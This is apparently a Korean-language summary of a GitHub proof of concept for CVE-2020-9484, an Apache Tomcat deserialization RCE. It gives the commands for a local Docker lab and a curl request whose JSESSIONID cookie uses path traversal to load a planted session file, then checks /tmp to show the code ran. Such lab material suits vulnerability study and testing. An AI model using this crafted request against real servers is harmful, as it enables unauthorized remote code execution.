masahiro331/cve-2020-9484교육용 개념 증명 익스플로잇입니다. CVE-2020-9484 (Apache Tomcat RCE via session persistence)에 대한 것입니다. 역직렬화 취약점 테스트를 위한 Docker 기반 실습 환경을 포함합니다.
교육 목적으로만 사용하세요.
자세한 내용은 참고 자료를 확인하세요.
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`
$ docker exec -it $CONTAINER ls -la /tmp
참고: (rce 출력에 없음)
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
$ docker exec -it $CONTAINER ls -la /tmp
참고: (rce 출력에 있음)